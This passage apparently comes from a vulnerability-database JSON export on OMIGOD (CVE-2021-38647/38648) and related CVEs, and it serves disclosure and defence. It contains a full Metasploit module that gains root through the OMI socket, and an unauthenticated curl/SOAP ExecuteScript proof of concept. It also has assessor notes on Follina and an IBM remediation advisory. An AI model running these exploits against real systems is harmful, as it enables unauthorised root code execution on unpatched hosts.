2021).\n", "cvss3": {}, "published": "2021-10-27T16:05:56", "type": "metasploit", "title": "Microsoft OMI Management Interface Authentication Bypass", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-38647", "CVE-2021-38648"], "modified": "2021-11-02T14:10:18", "id": "MSF:EXPLOIT-LINUX-LOCAL-CVE_2021_38648_OMIGOD-", "href": "https://www.rapid7.com/db/modules/exploit/linux/local/cve_2021_38648_omigod/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Post::File\n include Msf::Post::Process\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze\n DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft OMI Management Interface Authentication Bypass',\n 'Description' => %q{\n By removing the authentication exchange, an attacker can issue requests to the local OMI management socket\n that will cause it to execute an operating system command as the root user. This vulnerability was patched in\n OMI version 1.6.8-1 (released September 8th 2021).\n },\n 'References' => [\n ['CVE', '2021-38648'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],\n ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],\n ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']\n ],\n 'Author' => [\n 'Nir Ohfeld', # vulnerability discovery & research\n 'Shir Tamari', # vulnerability discovery & research\n 'Spencer McIntyre' # metasploit module\n ],\n 'DisclosureDate' => '2021-09-14',\n 'License' => MSF_LICENSE,\n 'Platform' => ['linux', 'unix'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'Payload' => { 'DisableNops' => true, 'Space' => 256 }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'DefaultOptions' => {\n 'MeterpreterTryToFork' => true\n },\n 'Notes' => {\n 'AKA' => ['OMIGOD'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_advanced_options([\n OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),\n OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])\n ])\n end\n\n def check\n pid = pidof('omiserver').first\n return CheckCode::Safe('The omiserver process was not found.') if pid.nil?\n\n omiserver_bin = read_file(\"/proc/#{pid}/cmdline\").split(\"\\x00\", 2).first\n omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)\n return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?\n\n vprint_status(\"Found #{omiserver_bin} running in PID: #{pid}\")\n if cmd_exec(\"#{omiserver_bin} --version\") =~ /\\sOMI-(\\d+(\\.\\d+){2,3}(-\\d+)?)\\s/\n version = Regexp.last_match(1)\n else\n return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')\n end\n\n return CheckCode::Safe(\"Version #{version} is not affected.\") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')\n\n CheckCode::Appears(\"Version #{version} is affected.\")\n end\n\n def upload(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n write_file path, data\n ensure\n register_file_for_cleanup(path)\n end\n\n def find_exec_program\n %w[python python3 python2].select(&method(:command_exists?)).first\n end\n\n def get_socket_path\n socket_path = datastore['SocketPath']\n return socket_path unless socket_path.blank?\n\n pid = pidof('omiserver').first\n fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?\n\n if read_file(\"/proc/#{pid}/net/unix\") =~ %r{\\s(/(\\S+)server\\.sock)$}\n socket_path = Regexp.last_match(1)\n else\n begin\n socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?\n rescue StandardError # rubocop:disable Lint/SuppressedException\n end\n end\n\n fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?\n\n vprint_status(\"Socket path: #{socket_path}\")\n socket_path\n end\n\n def exploit\n python_binary = find_exec_program\n fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary\n\n vprint_status(\"Using '#{python_binary}' to run the exploit\")\n socket_path = get_socket_path\n path = datastore['WritableDir']\n python_script = rand_text_alphanumeric(5..10) + '.py'\n\n case target['Type']\n when :unix_cmd\n root_cmd = payload.encoded\n when :linux_dropper\n unless path.start_with?('/')\n # the command will be executed from a different working directory so use an absolute path\n fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')\n end\n\n payload_path = \"#{path}/#{rand_text_alphanumeric(5..10)}\"\n if payload_path.length > 256\n # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the\n # command that is executed\n fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')\n end\n\n upload(payload_path, generate_payload_exe)\n cmd_exec(\"chmod +x '#{payload_path}'\")\n root_cmd = payload_path\n end\n\n upload(\"#{path}/#{python_script}\", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))\n cmd = \"#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'\"\n vprint_status(\"Running #{cmd}\")\n output = cmd_exec(cmd)\n vprint_line(output) unless output.blank?\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/cve_2021_38648_omigod.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "attackerkb": [{"lastseen": "2023-05-23T17:20:59", "description": "Open Management Infrastructure Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 15, 2021 4:37am UTC reported:\n\nRCE PoC using [`ExecuteScript`](<https://github.com/microsoft/SCXcore#runas-provider-executescript>) (multi-line shell script execution):\n \n \n wvu@kharak:~/Downloads$ curl -vs http://127.0.0.1:5985/wsman -H \"Content-Type: application/soap+xml\" -d @payload.xml | xmllint --format -\n * Trying 127.0.0.1...\n * TCP_NODELAY set\n * Connected to 127.0.0.1 (127.0.0.1) port 5985 (#0)\n > POST /wsman HTTP/1.1\n > Host: 127.0.0.1:5985\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Content-Type: application/soap+xml\n > Content-Length: 1679\n > Expect: 100-continue\n >\n * Done waiting for 100-continue\n } [1679 bytes data]\n * We are completely uploaded and fine\n < HTTP/1.1 200 OK\n < Content-Length: 1393\n < Connection: Keep-Alive\n < Content-Type: application/soap+xml;charset=UTF-8\n <\n { [1393 bytes data]\n * Connection #0 to host 127.0.0.1 left intact\n * Closing connection 0\n <?xml version=\"1.0\"?>\n <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsen=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:e=\"http://schemas.xmlsoap.org/ws/2004/08/eventing\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:wsmb=\"http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:wxf=\"http://schemas.xmlsoap.org/ws/2004/09/transfer\" xmlns:cim=\"http://schemas.dmtf.org/wbem/wscim/1/common\" xmlns:msftwinrm=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\" xmlns:wsmid=\"http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd\">\n <SOAP-ENV:Header>\n <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>\n <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action>\n <wsa:MessageID>uuid:19754ED3-CC01-0005-0000-000000010000</wsa:MessageID>\n <wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo>\n </SOAP-ENV:Header>\n <SOAP-ENV:Body>\n <p:SCX_OperatingSystem_OUTPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\n <p:ReturnValue>TRUE</p:ReturnValue>\n <p:ReturnCode>0</p:ReturnCode>\n <p:StdOut>\n Hello\n Goodbye\n </p:StdOut>\n <p:StdErr/>\n </p:SCX_OperatingSystem_OUTPUT>\n </SOAP-ENV:Body>\n </SOAP-ENV:Envelope>\n wvu@kharak:~/Downloads$\n \n\n`payload.xml`:\n \n \n <?xml version=\"1.0\"?>\n <s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\" xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\" xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\">\n <s:Header>\n <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\n <w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\n <a:ReplyTo>\n <a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n </a:ReplyTo>\n <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\n <w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize>\n <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>\n <w:OperationTimeout>PT1M30S</w:OperationTimeout>\n <w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <w:OptionSet s:mustUnderstand=\"true\"/>\n <w:SelectorSet>\n <w:Selector Name=\"__cimnamespace\">root/scx</w:Selector>\n </w:SelectorSet>\n </s:Header>\n <s:Body>\n <p:ExecuteScript_INPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\n <p:Script>ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==</p:Script>\n <p:Arguments/>\n <p:timeout>0</p:timeout>\n <p:b64encoded>true</p:b64encoded>\n </p:ExecuteScript_INPUT>\n </s:Body>\n </s:Envelope>\n \n\n[More context\u2026](<https://twitter.com/wvuuuuuuuuuuuuu/status/1438002644228968452>)\n\n**noraj** at March 31, 2022 8:33pm UTC reported:\n\nRCE PoC using [`ExecuteScript`](<https://github.com/microsoft/SCXcore#runas-provider-executescript>) (multi-line shell script execution):\n \n \n wvu@kharak:~/Downloads$ curl -vs http://127.0.0.1:5985/wsman -H \"Content-Type: application/soap+xml\" -d @payload.xml | xmllint --format -\n * Trying 127.0.0.1...\n * TCP_NODELAY set\n * Connected to 127.0.0.1 (127.0.0.1) port 5985 (#0)\n > POST /wsman HTTP/1.1\n > Host: 127.0.0.1:5985\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Content-Type: application/soap+xml\n > Content-Length: 1679\n > Expect: 100-continue\n >\n * Done waiting for 100-continue\n } [1679 bytes data]\n * We are completely uploaded and fine\n < HTTP/1.1 200 OK\n < Content-Length: 1393\n < Connection: Keep-Alive\n < Content-Type: application/soap+xml;charset=UTF-8\n <\n { [1393 bytes data]\n * Connection #0 to host 127.0.0.1 left intact\n * Closing connection 0\n <?xml version=\"1.0\"?>\n <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsen=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:e=\"http://schemas.xmlsoap.org/ws/2004/08/eventing\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:wsmb=\"http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:wxf=\"http://schemas.xmlsoap.org/ws/2004/09/transfer\" xmlns:cim=\"http://schemas.dmtf.org/wbem/wscim/1/common\" xmlns:msftwinrm=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\" xmlns:wsmid=\"http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd\">\n <SOAP-ENV:Header>\n <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>\n <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action>\n <wsa:MessageID>uuid:19754ED3-CC01-0005-0000-000000010000</wsa:MessageID>\n <wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo>\n </SOAP-ENV:Header>\n <SOAP-ENV:Body>\n <p:SCX_OperatingSystem_OUTPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\n <p:ReturnValue>TRUE</p:ReturnValue>\n <p:ReturnCode>0</p:ReturnCode>\n <p:StdOut>\n Hello\n Goodbye\n </p:StdOut>\n <p:StdErr/>\n </p:SCX_OperatingSystem_OUTPUT>\n </SOAP-ENV:Body>\n </SOAP-ENV:Envelope>\n wvu@kharak:~/Downloads$\n \n\n`payload.xml`:\n \n \n <?xml version=\"1.0\"?>\n <s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\" xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\" xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\">\n <s:Header>\n <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\n <w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\n <a:ReplyTo>\n <a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n </a:ReplyTo>\n <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\n <w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize>\n <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>\n <w:OperationTimeout>PT1M30S</w:OperationTimeout>\n <w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <w:OptionSet s:mustUnderstand=\"true\"/>\n <w:SelectorSet>\n <w:Selector Name=\"__cimnamespace\">root/scx</w:Selector>\n </w:SelectorSet>\n </s:Header>\n <s:Body>\n <p:ExecuteScript_INPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\n <p:Script>ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==</p:Script>\n <p:Arguments/>\n <p:timeout>0</p:timeout>\n <p:b64encoded>true</p:b64encoded>\n </p:ExecuteScript_INPUT>\n </s:Body>\n </s:Envelope>\n \n\n[More context\u2026](<https://twitter.com/wvuuuuuuuuuuuuu/status/1438002644228968452>)\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T00:00:00", "type": "attackerkb", "title": "CVE-2021-38647", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-27T00:00:00", "id": "AKB:0802ECEE-BB4C-4C5B-969C-32CB9808C281", "href": "https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-13T20:50:58", "description": "An integer overflow was addressed with improved input validation. This issue is fixed in Security Update 2021-005 Catalina, iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6, watchOS 7.6.2. Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-24T00:00:00", "type": "attackerkb", "title": "CVE-2021-30860", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2021-09-15T00:00:00", "id": "AKB:A655707A-D5EC-4F21-AFEE-D9C97837C840", "href": "https://attackerkb.com/topics/sTaEOrsIns/cve-2021-30860", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-23T17:17:15", "description": "Microsoft MSHTML Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**JunquerGJ** at September 07, 2021 10:50pm UTC reported:\n\n * Vulnerable if default behaviour has been changed ( By default, Microsoft Office opens documents from the internet in Protected View or Application Guard for Office both of which prevent the current attack ) \n\n * Requires social engineering to be exploited \n\n * Workaround easy to deploy\n\n**ccondon-r7** at September 07, 2021 7:12pm UTC reported:\n\n * Vulnerable if default behaviour has been changed ( By default, Microsoft Office opens documents from the internet in Protected View or Application Guard for Office both of which prevent the current attack ) \n\n * Requires social engineering to be exploited \n\n * Workaround easy to deploy\n\n**nu11secur1ty** at September 22, 2021 4:28pm UTC reported:\n\n * Vulnerable if default behaviour has been changed ( By default, Microsoft Office opens documents from the internet in Protected View or Application Guard for Office both of which prevent the current attack ) \n\n * Requires social engineering to be exploited \n\n * Workaround easy to deploy\n\n**NinjaOperator** at September 07, 2021 6:45pm UTC reported:\n\n * Vulnerable if default behaviour has been changed ( By default, Microsoft Office opens documents from the internet in Protected View or Application Guard for Office both of which prevent the current attack ) \n\n * Requires social engineering to be exploited \n\n * Workaround easy to deploy\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T00:00:00", "type": "attackerkb", "title": "CVE-2021-40444", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-25T00:00:00", "id": "AKB:F7CCD0B7-220B-49E5-A4DF-27E26B64A3F0", "href": "https://attackerkb.com/topics/6ojqzQoPox/cve-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-18T11:24:42", "description": "Xpdf prior to version 4.04 contains an integer overflow in the JBIG2 decoder (JBIG2Stream::readTextRegionSeg() in JBIG2Stream.cc). Processing a specially crafted PDF file or JBIG2 image could lead to a crash or the execution of arbitrary code. This is similar to the vulnerability described by CVE-2021-30860 (Apple CoreGraphics).\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-04-19T00:00:00", "type": "attackerkb", "title": "CVE-2022-38171", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860", "CVE-2022-38171"], "modified": "2022-11-03T00:00:00", "id": "AKB:CB1FAFEF-A89E-41CD-AE21-45F7F6D287D6", "href": "https://attackerkb.com/topics/9DxdASNB7Y/cve-2022-38171", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-12T02:18:12", "description": "Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability.\n\n \n**Recent assessments:** \n \n**bwatters-r7** at May 31, 2022 12:56pm UTC reported:\n\nEDIT: This was a quick description, and while it is still accurate as far as I know, A Rapid7 Evaluation with greater analysis has been published here: <https://attackerkb.com/topics/Z0pUwH0BFV/cve-2022-30190/rapid7-analysis>\n\nThis is a relatively new vulnerability in the Microsoft Support Diagnostic Tool Vulnerability, so it is likely more information will come out in the coming days. \nCurrently, as seen in the wild, this vulnerability is embedded in a word document and likely distributed with a *.rar file. When the Word document is opened, it reaches out and downloads an HTML file which has a JS section to implement the ms-msdt (Microsoft Support Diagnostic Tool Vulnerability) protocol which is then coerced into launching a command. \nAs reported by Jake Williams in a thread here: <https://twitter.com/MalwareJake/status/1531019243411623939>, the command opens the accomplanying `*.rar` file and pulls a base64 encoded `*.cab` file from it, then expands the *cab file and runs a file contained in the cab file called `rgb.exe` THIS FILENAME IS LIKELY MUTABLE, SO I DO NOT RECCOMMEND POLICING FOR IT WITHOUT OTHER RULES. \nMicrosoft has already published mitigation techniques for this exploit: <https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/> \nUsers are required to delete a single registry key called `HKEY_CLASSES_ROOT\\ms-msdt` though there is little discussion about the side effects of this operation. In his thread, Jake Williams has verified that the removal of this key prevents execution of the embedded payload. \nFurther reading: \n<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e> \nUntested and unverified PoC: <https://github.com/chvancooten/follina.py/blob/main/follina.py> \n<https://www.scythe.io/library/breaking-follina-msdt-vulnerability>\n\nUPDATE: I adjusted the attacker value up in light of reports by Kevin Beaumont that if the attacker uses an RTF file as the host, then the exploit code will run just viewing the file in the preview pane with explorer.exe. (details here: <https://github.com/JMousqueton/PoC-CVE-2022-30190> and the above doublepulsar blog post)\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-02T00:00:00", "type": "attackerkb", "title": "CVE-2022-30190", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2022-30190"], "modified": "2022-06-02T00:00:00", "id": "AKB:1FA9A53C-0452-4411-96C9-C0DD833F8D18", "href": "https://attackerkb.com/topics/Z0pUwH0BFV/cve-2022-30190", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ibm": [{"lastseen": "2023-05-23T18:02:10", "description": "## Summary\n\nIBM QRadar Azure marketplace images include the Open Management Infrastructure RPM which is vulnerable to CVE-2021-38647. Although we do not expose the affected port, we suggest updating out of an abundance of caution.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-38647](<https://vulners.com/cve/CVE-2021-38647>) \n** DESCRIPTION: **Microsoft Azure Open Management Infrastructure could allow a remote attacker to execute arbitrary code on the system. By executing a specially-crafted program, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208548](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208548>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM QRadar Azure marketplace images 7.3.0 to 7.3.3 Patch 9\n\nIBM QRadar Azure marketplace images 7.4.0 to 7.4.3 Patch 2\n\n \n\n\n## Remediation/Fixes\n \n \n 1. Check your current version of OMI to see if you are affected. All versions of OMI below v1.6.8-1 are affected\n To do this perform the following command:\n yum list all | grep omi\n \n 2. Add Microsoft Software Repository for RHEL 7 Linux Platform:\n sudo yum localinstall <https://packages.microsoft.com/config/rhel/7/packages-microsoft-prod.rpm>\n \n 3. Run yum update command for OMI:\n sudo yum update omi\n \n 4. Disable Microsoft Software Repository after updating the rpm \n sudo sed -i 's/^enabled=1/enabled=0/' /etc/yum.repos.d/microsoft-prod.repo \n \n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", 